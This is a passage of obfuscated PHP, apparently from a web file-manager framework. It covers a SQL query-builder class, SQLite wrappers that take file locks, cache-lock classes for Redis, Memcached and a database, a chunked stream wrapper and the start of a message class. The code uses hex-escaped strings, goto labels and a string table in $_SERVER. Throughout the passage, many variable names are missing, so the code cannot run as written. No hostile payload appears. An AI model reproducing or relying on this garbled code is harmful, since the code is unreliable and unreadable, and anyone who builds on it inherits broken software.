(self::$syncTask as $͂) { try { Hook::apply($͂[$ဋ[350]], $͂[$ဋ[1877]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } goto Cɢˋ; C׋Ď: class DbSqlite extends DbSqliteBase { public function query($) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $Ĉ = parent::query($); CacheLock::fileUnLock($[13]); return $Ĉ; } public function execute($Ӷ) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $˒ߜ = parent::execute($Ӷ); CacheLock::fileUnLock($[13]); return $˒ߜ; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $˭ =& $_SERVER[]; if (!CacheLock::fileLock($˭[13])) { return !1; } $ = parent::query($); CacheLock::fileUnLock($˭[13]); return $; } public function execute($α) { $ =& $_SERVER[]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($α); CacheLock::fileUnLock($[13]); return $; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\x68\x69\x6e\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\x71" => "\75", "\x6e\145\x71" => "\x3c\76", "\147\x74" => "\x3e", "\145\147\x74" => "\x3e\75", "\x6c\164" => "\x3c", "\145\x6c\x74" => "\74\x3d", "\156\157\164\x6c\151\153\145" => "\x4e\x4f\x54\40\114\111\113\x45", "\154\151\153\x65" => "\114\111\x4b\105", "\151\x6e" => "\111\116", "\x6e\x6f\x74\x69\x6e" => "\116\117\x54\40\111\x4e", "\x6e\157\164\x20\x69\x6e" => "\116\x4f\124\40\111\x4e", "\142\x65\164\167\145\x65\x6e" => "\102\x45\x54\127\x45\105\x4e", "\156\x6f\x74\142\145\164\167\145\x65\x6e" => "\116\x4f\124\40\x42\x45\124\x57\x45\x45\116", "\156\157\164\x20\x62\145\164\167\x65\x65\x6e" => "\x4e\x4f\x54\40\102\x45\124\127\105\x45\x4e"); protected $selectSql = "\x53\105\114\105\x43\x54\45\x44\x49\123\x54\x49\116\103\x54\x25\40\45\x46\111\x45\114\x44\45\40\x46\x52\x4f\115\x20\x25\124\x41\x42\114\105\x25\45\112\117\111\x4e\45\x25\x57\x48\x45\x52\x45\x25\45\107\x52\x4f\125\120\x25\45\110\101\126\x49\x4e\107\45\x25\117\x52\x44\105\122\45\x25\x4c\x49\x4d\x49\x54\45\40\x25\125\x4e\x49\x4f\x4e\x25\x25\103\x4f\x4d\115\x45\x4e\x54\x25"; protected $bind = array(); public static function getInstance() { $Ŀ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[][1049], $Ŀ); } public function factory($蓡 = '') { $Ր =& $_SERVER[]; $蓡 = $this->parseConfig($蓡); if (empty($蓡[$Ր[1050]])) { think_exception(think_lang($Ր[1051])); } $this->dbType = ucwords(strtolower($蓡[$Ր[1050]])); $Ե = $Ր[1052] . $this->dbType; if (class_exists($Ե)) { $϶ = new $Ե($蓡); if ($Ր[1053] != strtolower($蓡[$Ր[1050]])) { $϶->dbType = strtoupper($this->dbType); } else { $϶->dbType = $this->_getDsnType($蓡[$Ր[1005]]); } } else { think_exception(think_lang($Ր[1054]) . $Ր[1055] . $Ե); } return $϶; } public function __call($, $) { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $); } } protected function _getDsnType($) { $㦨 = explode($_SERVER[][4], $); $ = strtoupper(trim($㦨[0])); return $; } private function parseConfig($調 = '') { $ =& $_SERVER[]; if (!empty($調) && is_string($調)) { $調 = $this->parseDSN($調); } elseif (is_array($調)) { $調 = array_change_key_case($調); $調 = array($[1050] => $調[$[1056]], $[977] => $調[$[1057]], $[978] => $調[$[1058]], $[975] => $調[$[1059]], $[976] => $調[$[1060]], $[21] => $調[$[1061]], $[1005] => $調[$[1062]], $[17] => isset($調[$[1063]]) ? $調[$[1063]] : array()); } elseif (empty($調)) { if (think_config($[1064]) && $[1053] != strtolower(think_config($[1065]))) { $調 = $this->parseDSN(think_config($[1064])); } else { $調 = array($[1050] => think_config($[1065]), $[977] => think_config($[1066]), $[978] => think_config($[1067]), $[975] => think_config($[1068]), $[976] => think_config($[1069]), $[21] => think_config($[332]), $[1005] => think_config($[1064]), $[17] => think_config($[1070])); } } return $調; } protected function initConnect($壔 = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($壔); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ӂ٭ => $ݰ) { $this->_linkID = $ݰ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ک = false) { $¿ =& $_SERVER[]; static $ѫ = array(); static $ = -1; if (empty($ѫ)) { foreach ($this->config as $ => $욿) { $ѫ[$] = explode($¿[50], $욿); } } if (think_config($¿[1071])) { if ($ک || think_config($¿[480]) === !0) { $ = floor(mt_rand(0, think_config($¿[1072]) - 1)); $ = $; } else { if (is_numeric(think_config($¿[1073]))) { $ = think_config($¿[1073]); } else { $ = floor(mt_rand(think_config($¿[1072]), count($ѫ[$¿[975]]) - 1)); } } } else { $ = floor(mt_rand(0, count($ѫ[$¿[975]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $ = array($¿[977] => isset($ѫ[$¿[977]][$]) ? $ѫ[$¿[977]][$] : $ѫ[$¿[977]][0], $¿[978] => isset($ѫ[$¿[978]][$]) ? $ѫ[$¿[978]][$] : $ѫ[$¿[978]][0], $¿[975] => isset($ѫ[$¿[975]][$]) ? $ѫ[$¿[975]][$] : $ѫ[$¿[975]][0], $¿[976] => isset($ѫ[$¿[976]][$]) ? $ѫ[$¿[976]][$] : $ѫ[$¿[976]][0], $¿[21] => isset($ѫ[$¿[21]][$]) ? $ѫ[$¿[21]][$] : $ѫ[$¿[21]][0], $¿[1005] => isset($ѫ[$¿[1005]][$]) ? $ѫ[$¿[1005]][$] : $ѫ[$¿[1005]][0], $¿[17] => isset($ѫ[$¿[17]][$]) ? $ѫ[$¿[17]][$] : $ѫ[$¿[17]][0]); return $this->connect($, $); } public function parseDSN($) { $ع =& $_SERVER[]; if (empty($)) { return !1; } $ɋܒ = parse_url($); if ($ɋܒ[$ع[217]]) { $ʆ = array($ع[1050] => $ɋܒ[$ع[217]], $ع[977] => isset($ɋܒ[$ع[671]]) ? $ɋܒ[$ع[671]] : $ع[12], $ع[978] => isset($ɋܒ[$ع[1074]]) ? $ɋܒ[$ع[1074]] : $ع[12], $ع[975] => isset($ɋܒ[$ع[218]]) ? $ɋܒ[$ع[218]] : $ع[12], $ع[976] => isset($ɋܒ[$ع[219]]) ? $ɋܒ[$ع[219]] : $ع[12], $ع[21] => isset($ɋܒ[$ع[97]]) ? substr($ɋܒ[$ع[97]], 1) : $ع[12]); } else { preg_match($ع[1075], trim($), $); $ʆ = array($ع[1050] => $[1], $ع[977] => $[2], $ع[978] => $[3], $ع[975] => $[4], $ع[976] => $[5], $ع[21] => $[6]); } $ʆ[$ع[1005]] = $ع[12]; return $ʆ; } protected function debug() { $ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1076]; if (think_config($[1077])) { think_status($[1078]); think_trace($this->queryStr . $[1079] . think_status($[24], $[1078], 6) . $[1080], $[12], $[1081]); } } protected function parseLock($ = false) { $Β =& $_SERVER[]; if (!$) { return $Β[12]; } if ($Β[1007] == $this->dbType) { return $Β[1082]; } return $Β[1083]; } protected function parseSet($Øơ) { $Nj =& $_SERVER[]; foreach ($Øơ as $ы => $闱ȵ) { if (is_array($闱ȵ) && $Nj[382] == $闱ȵ[0]) { $񙶌[] = $this->parseKey($ы) . $Nj[973] . $闱ȵ[1]; } elseif (is_scalar($闱ȵ) || is_null($闱ȵ)) { $񙶌[] = $this->parseKey($ы) . $Nj[973] . $this->parseValue($闱ȵ); } } return $Nj[1084] . implode($Nj[50], $񙶌); } protected function bindParam($, $İׇ) { $this->bind[$_SERVER[][4] . $] = $İׇ; } protected function parseBind($) { $ = array_merge($this->bind, $); $this->bind = array(); return $; } function parseKey(&$, $ם = true) { if ($ם) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($װ) { $ʞ =& $_SERVER[]; $װ = trim($װ); if (!preg_match($ʞ[1085], $װ)) { think_exception($ʞ[1086] . $װ); } return $װ; } protected function parseValue($֣) { $ =& $_SERVER[]; if (is_string($֣)) { $֣ = $[1046] . $this->escapeString($֣) . $[1046]; } elseif (isset($֣[0]) && is_string($֣[0]) && strtolower($֣[0]) == $[382]) { $֣ = $this->escapeString($֣[1]); } elseif (is_array($֣)) { $֣ = array_map(array($this, $[1047]), $֣); } elseif (is_bool($֣)) { $֣ = $֣ ? $[101] : $[238]; } elseif (is_null($֣)) { $֣ = $[116]; } return $֣; } protected function parseField($庚Ԭ) { $ϑғ =& $_SERVER[]; if (is_string($庚Ԭ) && strpos($庚Ԭ, $ϑғ[50])) { $庚Ԭ = explode($ϑғ[50], $庚Ԭ); } if (is_array($庚Ԭ)) { $Ϸ = array(); foreach ($庚Ԭ as $ټՕ => $) { if (!is_numeric($ټՕ)) { $Ϸ[] = $this->parseKey($ټՕ, !1) . $ϑғ[1087] . $this->parseKey($); } else { $Ϸ[] = $this->parseKey($); } } $쟩 = implode($ϑғ[50], $Ϸ); } elseif (is_string($庚Ԭ) && !empty($庚Ԭ)) { $쟩 = $庚Ԭ; } else { $쟩 = $ϑғ[230]; } return $쟩; } protected function parseTable($Չ὾) { $ =& $_SERVER[]; if (is_array($Չ὾)) { $ = array(); foreach ($Չ὾ as $۲ => $) { if (!is_numeric($۲)) { $[] = $this->parseKey($۲) . $[53] . $this->parseKey($); } else { $[] = $this->parseKey($۲); } } $Չ὾ = $; } elseif (is_string($Չ὾)) { if (strstr($Չ὾, $[53])) { return $Չ὾; } $Չ὾ = explode($[50], $Չ὾); array_walk($Չ὾, array($this, $[995])); } return $[989] . trim(implode($[1088], $Չ὾), $[470]) . $[989]; } protected function parseWhere($) { $ =& $_SERVER[]; $̧ = $[12]; if (is_string($)) { $̧ = $; } else { $ = isset($[$[1089]]) ? strtoupper($[$[1089]]) : $[12]; if (in_array($, array($[1090], $[1091], $[1092]))) { $ = $[53] . $ . $[53]; unset($[$[1089]]); } else { $ = $[1093]; } foreach ($ as $ٝȜ => $´) { $̧ .= $[363]; if (is_numeric($ٝȜ)) { $ٝȜ = $[1094]; } if (0 === strpos($ٝȜ, $[11])) { $̧ .= $this->parseThinkWhere($ٝȜ, $´); } else { if (!preg_match($[1095], trim($ٝȜ))) { think_exception(think_lang($[1096]) . $[4] . $ٝȜ); } $ = is_array($´) && isset($´[$[1097]]); $ٝȜ = trim($ٝȜ); if (strpos($ٝȜ, $[224])) { $® = explode($[224], $ٝȜ); $䯐 = array(); foreach ($® as $ => $) { $ݟͪ = $ ? $´[$] : $´; $䯐[] = $[346] . $this->parseWhereItem($this->parseKey($), $ݟͪ) . $[994]; } $̧ .= implode($[1098], $䯐); } elseif (strpos($ٝȜ, $[369])) { $® = explode($[369], $ٝȜ); $䯐 = array(); foreach ($® as $ => $) { $ݟͪ = $ ? $´[$] : $´; $䯐[] = $[346] . $this->parseWhereItem($this->parseKey($), $ݟͪ) . $[994]; } $̧ .= implode($[1093], $䯐); } else { $̧ .= $this->parseWhereItem($this->parseKey($ٝȜ), $´); } } $̧ .= $[364] . $; } $̧ = substr($̧, 0, -strlen($)); } return empty($̧) ? $[12] : $[1099] . $̧; } protected function parseWhereItem($Ԛ, $) { $ =& $_SERVER[]; $ = $[12]; if (is_array($)) { if (is_string($[0])) { $ = strtolower($[0]); if (in_array($[0], array($[973], $[1100], $[1101], $[1102], $[1103], $[1104]))) { $ .= $Ԛ . $[53] . $[0] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1105], $[0])) { $ .= $Ԛ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1106], $[0])) { if (is_array($[1])) { $⦇ = isset($[2]) ? strtoupper($[2]) : $[1091]; if (in_array($⦇, array($[1090], $[1091], $[1092]))) { $ޝ = array(); foreach ($[1] as $) { $ޝ[] = $Ԛ . $[53] . $this->exp[$] . $[53] . $this->parseValue($); } $ .= $[346] . implode($[53] . $⦇ . $[53], $ޝ) . $[994]; } } else { $ .= $Ԛ . $[53] . $this->exp[$] . $[53] . $this->parseValue($[1]); } } elseif ($[382] == $) { $ .= $[992] . $Ԛ . $[53] . $[1] . $[1107]; } elseif (preg_match($[1108], $[0])) { $ .= $[0]; } elseif (preg_match($[1109], $[0])) { if (isset($[2]) && $[382] == $[2]) { $ .= $Ԛ . $[53] . $this->exp[$] . $[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($[50], $[1]); } $ = implode($[50], $this->parseValue($[1])); $ .= $Ԛ . $[53] . $this->exp[$] . $[992] . $ . $[994]; } } elseif (preg_match($[1110], $[0])) { $ä = is_string($[1]) ? explode($[50], $[1]) : $[1]; $ .= $[992] . $Ԛ . $[53] . $this->exp[$] . $[53] . $this->parseValue($ä[0]) . $[1093] . $this->parseValue($ä[1]) . $[364]; } else { think_exception(think_lang($[1096]) . $[4] . $[0]); } } else { $ŀ = count($); $ᆈIJ = $[12]; if (is_string($[$ŀ - 1])) { $ᆈIJ = isset($[$ŀ - 1]) ? strtoupper($[$ŀ - 1]) : $[12]; if (in_array($ᆈIJ, array($[1090], $[1091], $[1092]))) { $ŀ = $ŀ - 1; } } else { $ᆈIJ = $[1090]; } for ($ = 0; $ < $ŀ; $++) { $ä = is_array($[$]) ? $[$][1] : $[$]; if ($[382] == strtolower($[$][0])) { $ .= $[346] . $Ԛ . $[53] . $ä . $[1107] . $ᆈIJ . $[53]; } else { $Ԭ = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $[973]; if (!$Ԭ && is_array($[$]) && in_array($[$][0], array($[973], $[1100], $[1101], $[1102], $[1103], $[1104]))) { $Ԭ = $[$][0]; } $ .= $[346] . $Ԛ . $[53] . $Ԭ . $[53] . $this->parseValue($ä) . $[1107] . $ᆈIJ . $[53]; } } $ = substr($, 0, -4); } } else { $ .= $Ԛ . $[1111] . $this->parseValue($); } return $; } protected function parseThinkWhere($ݸ܈, $֩) { $ =& $_SERVER[]; $ = $[12]; switch ($ݸ܈) { case $[437]: $ = $֩; break; case $[1094]: $ = is_string($֩) ? $֩ : substr($this->parseWhere($֩), 6); break; case $[1112]: parse_str($֩, $); if (isset($[$[1089]])) { $֕ = $[53] . strtoupper($[$[1089]]) . $[53]; unset($[$[1089]]); } else { $֕ = $[1093]; } $¿ = array(); foreach ($ as $Ŕ => $嫯) { $¿[] = $this->parseKey($Ŕ) . $[1111] . $this->parseValue($嫯); } $ = implode($֕, $¿); break; } return $; } protected function parseLimit($) { $ =& $_SERVER[]; return !empty($) ? $[51] . $ . $[53] : $[12]; } protected function parseJoin($Θӥ) { $ =& $_SERVER[]; $آ = $[12]; if (!empty($Θӥ)) { if (is_array($Θӥ)) { foreach ($Θӥ as $ђ => $) { if (!1 !== stripos($, $[1113])) { $آ .= $[53] . $; } else { $آ .= $[1114] . $; } } } else { $آ .= $[1114] . $Θӥ; } } $آ = preg_replace($[1115], think_config($[1019]) . $[1116], $آ); return $آ; } protected function parseOrder($㴪ߢ) { $˚Ĩ =& $_SERVER[]; if (is_array($㴪ߢ)) { $Ū = array(); foreach ($㴪ߢ as $剾 => $ց) { if (is_numeric($剾)) { $Ū[] = $this->parseKey($ց); } else { $ց = in_array(strtoupper(trim($ց)), array($˚Ĩ[1117], $˚Ĩ[1118])) ? $˚Ĩ[53] . $ց : $˚Ĩ[12]; if (preg_match($˚Ĩ[1119], $剾)) { $Ū[] = $this->parseKey($剾) . $ց; } else { think_exception($˚Ĩ[1120] . $剾); } } } $㴪ߢ = implode($˚Ĩ[50], $Ū); } return !empty($㴪ߢ) ? $˚Ĩ[1121] . $㴪ߢ : $˚Ĩ[12]; } protected function parseGroup($ճц) { $̒ =& $_SERVER[]; return !empty($ճц) ? $̒[1122] . $ճц : $̒[12]; } protected function parseHaving($֭) { $ =& $_SERVER[]; return !empty($֭) ? $[1123] . $֭ : $[12]; } protected function parseComment($͞) { $鴌 =& $_SERVER[]; return !empty($͞) ? $鴌[1124] . $͞ . $鴌[1125] : $鴌[12]; } protected function parseDistinct($) { $ =& $_SERVER[]; return !empty($) ? $[1126] : $[12]; } protected function parseUnion($铳) { $؏ =& $_SERVER[]; if (empty($铳)) { return $؏[12]; } if (isset($铳[$؏[433]])) { $ԇ = $؏[1127]; unset($铳[$؏[433]]); } else { $ԇ = $؏[1128]; } foreach ($铳 as $) { $Ĵ[] = $ԇ . (is_array($) ? $this->buildSelectSql($) : $); } return implode($؏[53], $Ĵ); } public function insert($, $ʼ = array(), $ = false) { $ =& $_SERVER[]; $ڹ = $˖ = array(); $this->model = $ʼ[$[367]]; foreach ($ as $ => $ߨ) { if (is_array($ߨ) && $[382] == $ߨ[0]) { $˖[] = $this->parseKey($); $ڹ[] = $ߨ[1]; } elseif (is_scalar($ߨ) || is_null($ߨ)) { $˖[] = $this->parseKey($); $ڹ[] = $this->parseValue($ߨ); } } $ԱΥ = ($ ? $[996] : $[997]) . $[998] . $this->parseTable($ʼ[$[365]]) . $[992] . implode($[50], $˖) . $[993] . implode($[50], $ڹ) . $[994]; $ԱΥ .= $this->parseLock(isset($ʼ[$[933]]) ? $ʼ[$[933]] : !1); $ԱΥ .= $this->parseComment(!empty($ʼ[$[439]]) ? $ʼ[$[439]] : $[12]); return $this->execute($ԱΥ, $this->parseBind(!empty($ʼ[$[370]]) ? $ʼ[$[370]] : array())); } public function selectInsert($, $, $ = array()) { $л =& $_SERVER[]; $this->model = $[$л[367]]; if (is_string($)) { $ = explode($л[50], $); } array_walk($, array($this, $л[995])); $ = $л[1129] . $this->parseTable($) . $л[992] . implode($л[50], $) . $л[1107]; $ .= $this->buildSelectSql($); return $this->execute($, $this->parseBind(!empty($[$л[370]]) ? $[$л[370]] : array())); } public function update($ծ, $Ř) { $ȕ =& $_SERVER[]; $this->model = $Ř[$ȕ[367]]; $ƪ = $ȕ[1130] . $this->parseTable($Ř[$ȕ[365]]) . $this->parseSet($ծ) . $this->parseWhere(!empty($Ř[$ȕ[361]]) ? $Ř[$ȕ[361]] : $ȕ[12]) . $this->parseOrder(!empty($Ř[$ȕ[450]]) ? $Ř[$ȕ[450]] : $ȕ[12]) . $this->parseLimit(!empty($Ř[$ȕ[377]]) ? $Ř[$ȕ[377]] : $ȕ[12]) . $this->parseLock(isset($Ř[$ȕ[933]]) ? $Ř[$ȕ[933]] : !1) . $this->parseComment(!empty($Ř[$ȕ[439]]) ? $Ř[$ȕ[439]] : $ȕ[12]); return $this->execute($ƪ, $this->parseBind(!empty($Ř[$ȕ[370]]) ? $Ř[$ȕ[370]] : array())); } public function delete($ĸߛ = array()) { $ =& $_SERVER[]; $this->model = $ĸߛ[$[367]]; $͂ = $[1131] . $this->parseTable($ĸߛ[$[365]]) . $this->parseWhere(!empty($ĸߛ[$[361]]) ? $ĸߛ[$[361]] : $[12]) . $this->parseOrder(!empty($ĸߛ[$[450]]) ? $ĸߛ[$[450]] : $[12]) . $this->parseLimit(!empty($ĸߛ[$[377]]) ? $ĸߛ[$[377]] : $[12]) . $this->parseLock(isset($ĸߛ[$[933]]) ? $ĸߛ[$[933]] : !1) . $this->parseComment(!empty($ĸߛ[$[439]]) ? $ĸߛ[$[439]] : $[12]); return $this->execute($͂, $this->parseBind(!empty($ĸߛ[$[370]]) ? $ĸߛ[$[370]] : array())); } public function select($ = array()) { $Ԣݚ =& $_SERVER[]; $this->model = $[$Ԣݚ[367]]; $ = $this->buildSelectSql($); $ = isset($[$Ԣݚ[434]]) ? $[$Ԣݚ[434]] : !1; if ($) { $ֶ = is_string($[$Ԣݚ[107]]) ? $[$Ԣݚ[107]] : $Ԣݚ[1132] . md5($); $̐ = think_cache($ֶ, $Ԣݚ[12], $); if (!1 !== $̐) { return $̐; } } $ = $this->query($, $this->parseBind(!empty($[$Ԣݚ[370]]) ? $[$Ԣݚ[370]] : array())); if ($ && !1 !== $) { think_cache($ֶ, $, $); } return $; } public function buildSelectSql($ = array()) { $Я =& $_SERVER[]; if (isset($[$Я[438]])) { if (strpos($[$Я[438]], $Я[50])) { list($싍Ţ, $ܮȐ) = explode($Я[50], $[$Я[438]]); } else { $싍Ţ = $[$Я[438]]; } $싍Ţ = $싍Ţ ? $싍Ţ : 1; $ܮȐ = isset($ܮȐ) ? $ܮȐ : (is_numeric($[$Я[377]]) ? $[$Я[377]] : 20); $ƀ = $ܮȐ * ((int) $싍Ţ - 1); $[$Я[377]] = $ƀ . $Я[50] . $ܮȐ; } if (think_config($Я[1133])) { $ѡ = $Я[1134] . md5(serialize($)); $ì = think_cache($ѡ); if ($ì) { return $ì; } } $ۣ = $this->parseSql($this->selectSql, $); $ۣ .= $this->parseLock(isset($[$Я[933]]) ? $[$Я[933]] : !1); if (isset($ѡ)) { think_cache($ѡ, $ۣ); } return $ۣ; } public function parseSql($, $ش = array()) { $󩒖 =& $_SERVER[]; $ = str_replace(array($󩒖[1135], $󩒖[1136], $󩒖[1137], $󩒖[1138], $󩒖[1139], $󩒖[1140], $󩒖[1141], $󩒖[1142], $󩒖[1143], $󩒖[1144], $󩒖[1145]), array($this->parseTable("{$ش[$󩒖[365]]}"), $this->parseDistinct(isset($ش[$󩒖[1146]]) ? $ش[$󩒖[1146]] : !1), $this->parseField(!empty($ش[$󩒖[359]]) ? $ش[$󩒖[359]] : $󩒖[230]), $this->parseJoin(!empty($ش[$󩒖[368]]) ? $ش[$󩒖[368]] : $󩒖[12]), $this->parseWhere(!empty($ش[$󩒖[361]]) ? $ش[$󩒖[361]] : $󩒖[12]), $this->parseGroup(!empty($ش[$󩒖[587]]) ? $ش[$󩒖[587]] : $󩒖[12]), $this->parseHaving(!empty($ش[$󩒖[1147]]) ? $ش[$󩒖[1147]] : $󩒖[12]), $this->parseOrder(!empty($ش[$󩒖[450]]) ? $ش[$󩒖[450]] : $󩒖[12]), $this->parseLimit(!empty($ش[$󩒖[377]]) ? $ش[$󩒖[377]] : $󩒖[12]), $this->parseUnion(!empty($ش[$󩒖[432]]) ? $ش[$󩒖[432]] : $󩒖[12]), $this->parseComment(!empty($ش[$󩒖[439]]) ? $ش[$󩒖[439]] : $󩒖[12])), $); return $; } public function getLastSql($ř = '') { return $ř ? $this->modelSql[$ř] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($ٲ) { return addslashes($ٲ); } public function setModel($ːÃ) { $this->model = $ːÃ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto B⾇ߛ; Fٟ: class CacheLockRedis { public function lock($ѝ, $ύ = 10) { $ = Cache::init(); $ = microtime(!0) + $ύ; while (microtime(!0) < $) { $Υ = $->get($ѝ); if (!$Υ) { $ = $->setLock($ѝ, $, $ύ); if ($) { return !0; } } else { if ($Υ < microtime(!0)) { $->set($ѝ, $, $ύ * 2); if ($->get($ѝ) === $Υ) { return !0; } } } cacheLockWait(); } return !1; } public function lockGet($ݚ) { return Cache::init()->get($ݚ); } public function unlock($ю) { return Cache::init()->remove($ю); } } class CacheLockMemcached { public function lock($, $е = 0) { $¿ϙ = Cache::init(); $ǭ = microtime(!0) + $е; while (microtime(!0) < $ǭ) { $՛ࢊ = $¿ϙ->get($); if (!$՛ࢊ || $՛ࢊ < microtime(!0)) { $ї = $¿ϙ->handle->add($, $ǭ, $е); if ($ї) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockDatabase { public function lock($ŋ, $񱞝 = 0) { $ݡ = Model($_SERVER[][918]); $ȅ = microtime(!0) + $񱞝; while (microtime(!0) < $ȅ) { $䯩 = $ݡ->get($ŋ); if (!$䯩 || $䯩 < microtime(!0)) { $홻 = $ݡ->set($ŋ, $ȅ); if ($홻) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($⼥) { return Model($_SERVER[][918])->get($⼥); } public function unlock($ÿ) { Model($_SERVER[][918])->remove($ÿ); } } goto e˾ă; e: class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($Ȣݍ, $Ų = '') { $this->info = $this->info($Ȣݍ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[][97]]; $this->pathOpen = $Ȣݍ; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$Ȣݍ])) { self::$_chunkBuffer[$Ȣݍ] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($) { $ = $this->fileSubstr($this->pose, $); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($͝, $볝) { $ꅾ =& $_SERVER[]; if ($볝 == SEEK_SET) { $this->pose = $͝; } else { if ($볝 == SEEK_CUR) { $this->pose += $͝; } else { if ($볝 == SEEK_END) { $this->pose = $this->info[$ꅾ[89]] + intval($͝); } } } if ($͝ < 0) { $this->pose = $this->info[$ꅾ[89]] + $͝; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[][89]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($ꪸ, $) { $Ƒ =& $_SERVER[]; $Ʊ޼ = $this->info($ꪸ); return array($Ƒ[1617] => 0, $Ƒ[1618] => 0, $Ƒ[16] => 32768 + 511, $Ƒ[1619] => 0, $Ƒ[1620] => 0, $Ƒ[1621] => 0, $Ƒ[1622] => 0, $Ƒ[89] => $Ʊ޼[$Ƒ[89]], $Ƒ[1623] => $Ʊ޼[$Ƒ[1463]], $Ƒ[1579] => $Ʊ޼[$Ƒ[98]], $Ƒ[1578] => $Ʊ޼[$Ƒ[241]], $Ƒ[1624] => 0, $Ƒ[1625] => 0); } static $fileInfo = array(); public function info($г) { $Ĥ = $_SERVER[][1626]; if (isset(self::$fileInfo[$г])) { return self::$fileInfo[$г]; } if (substr($г, 0, strlen($Ĥ)) != $Ĥ) { return !1; } self::$fileInfo[$г] = IO::info(substr($г, strlen($Ĥ))); return self::$fileInfo[$г]; } public static function read($쳕, $Ͷ, $) { if (!isset(self::$_fopenCache[$쳕])) { $ = new StreamWrapperIO(); $->stream_open($쳕); self::$_fopenCache[$쳕] = $; } $ = self::$_fopenCache[$쳕]; return $->fileSubstr($Ͷ, $); } public static function _read($괘, $, $) { $ =& $_SERVER[]; $ = fopen($괘, $[1467]); if (!$) { return $[12]; } $ƞ = 8192; fseek($, $, SEEK_SET); $ = $[12]; $ = 0; while ($ < $) { $쎵 = min($ƞ, $ - $); $ .= fread($, $쎵); $ += $쎵; } fclose($); return $; } public function fileSubstr($ѓ̿, $) { $滕 =& $_SERVER[]; $ = $this->info[$滕[89]]; $ = $ѓ̿; $ӟӱ = $; if ($ѓ̿ < 0) { $ѓ̿ = $ + $ѓ̿; } if ($ === !1) { $ = $ - $ѓ̿; } if ($ѓ̿ + $ > $) { $ = $ - $ѓ̿; } if ($ <= 0) { return $滕[12]; } if ($ѓ̿ < 0 || $ѓ̿ >= $ || $ <= 0 || $ > 1024 * 1024 * 10) { throw new Exception("\x69\x6f\106\x69\154\145\x52\x65\x61\x64\x20\x65\162\x72\157\162\41\40\163\164\x61\x72\164\x3d{$ѓ̿}\73\154\145\x6e\147\x74\x68\x3d{$}\73\x20\x73\151\x7a\145\x3d{$}\73"); } $ = 64 * 1024; $Ǧ =& self::$_chunkBuffer[$this->path]; if (!$Ǧ) { $Ǧ = array(); } $ = 0; $ͬ = 0; $ڗ = $滕[12]; foreach ($Ǧ as $ => $ڗ) { $ = intval($); $ͬ = $ + strlen($ڗ); if ($ѓ̿ >= $ͬ) { continue; } if ($ѓ̿ >= $ && $ѓ̿ + $ <= $ͬ) { return substr($ڗ, $ѓ̿ - $, $); } break; } if (count($Ǧ) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($滕[1627], $滕[1628] . count($Ǧ) . "\73\x73\x74\x61\162\x74\75{$ѓ̿}\54\x6c\x65\x6e\x67\164\150\75{$}\x3b\x70\x6f\163\145\x3a{$}\x7e{$ͬ}"); throw new Exception($滕[1629]); } $ǃ = intval($ѓ̿ / $) * $; $̀ = ceil(($ѓ̿ + $) / $) * $ - $ǃ; $ = IO::fileSubstr($this->path, $ǃ, $̀); $Ǧ[$ǃ . $滕[12]] = $; ksort($Ǧ); $ = substr($, $ѓ̿ - $ǃ, $); return $; } private function log($掅, $) { $ٰ =& $_SERVER[]; $ = timeFloat() - $this->timeStart; write_log(sprintf($ٰ[1630], $掅, $this->info[$ٰ[32]], $, $), $ٰ[1275]); } } class Message { function __construct() { } public function send($հޘ = '', $֕ƈ = array(), $ = "\x74\145\x78\x74") { $Ŀڋ =& $_SERVER[]; $ = array($Ŀڋ[33] => $Ŀڋ[1631], $Ŀڋ[181] => $հޘ); if (in_array($, array($Ŀڋ[1631], $Ŀڋ[1632]))) { $[$Ŀڋ[33]] = $; } $֕ƈ = array($Ŀڋ[587] => isset($֕ƈ[$Ŀڋ[587]]) ? $֕ƈ[$Ŀڋ[587]] : $Ŀڋ[12], 